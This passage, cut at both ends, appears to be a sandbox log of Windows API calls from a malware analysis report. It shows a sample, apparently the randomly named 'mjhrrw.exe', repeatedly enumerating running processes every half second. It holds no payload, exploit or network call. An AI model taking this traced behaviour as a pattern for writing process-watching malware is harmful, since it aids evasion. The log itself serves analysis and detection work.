Compression")) returned 1 [0225.257] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.257] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.258] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.259] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.259] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.260] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.260] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.261] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0225.262] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0225.262] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0225.263] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.263] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0225.264] CloseHandle (hObject=0x370) returned 1 [0225.264] Sleep (dwMilliseconds=0x1f4) [0225.960] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0225.967] Process32FirstW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.968] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.969] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.969] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.970] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.971] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.971] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.972] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.972] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.973] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.973] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.974] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.975] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.975] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.976] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.977] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.978] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.978] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.979] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.980] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.981] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.982] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.982] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.983] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.983] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.984] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.985] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.985] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0225.986] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0225.988] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0225.988] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0225.989] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.990] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0225.990] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.991] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0225.991] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0225.992] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0225.993] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.190] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.191] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0226.191] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.192] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0226.192] CloseHandle (hObject=0x368) returned 1 [0226.192] Sleep (dwMilliseconds=0x1f4) [0226.915] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0226.921] Process32FirstW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.921] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.922] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.922] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.923] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.923] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.924] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.924] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.925] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.926] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0226.926] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0226.927] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.927] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.928] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.928] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.929] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.929] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.930] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.931] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.931] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.932] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.932] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.933] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.933] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.934] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.934] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.935] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.936] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0226.936] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 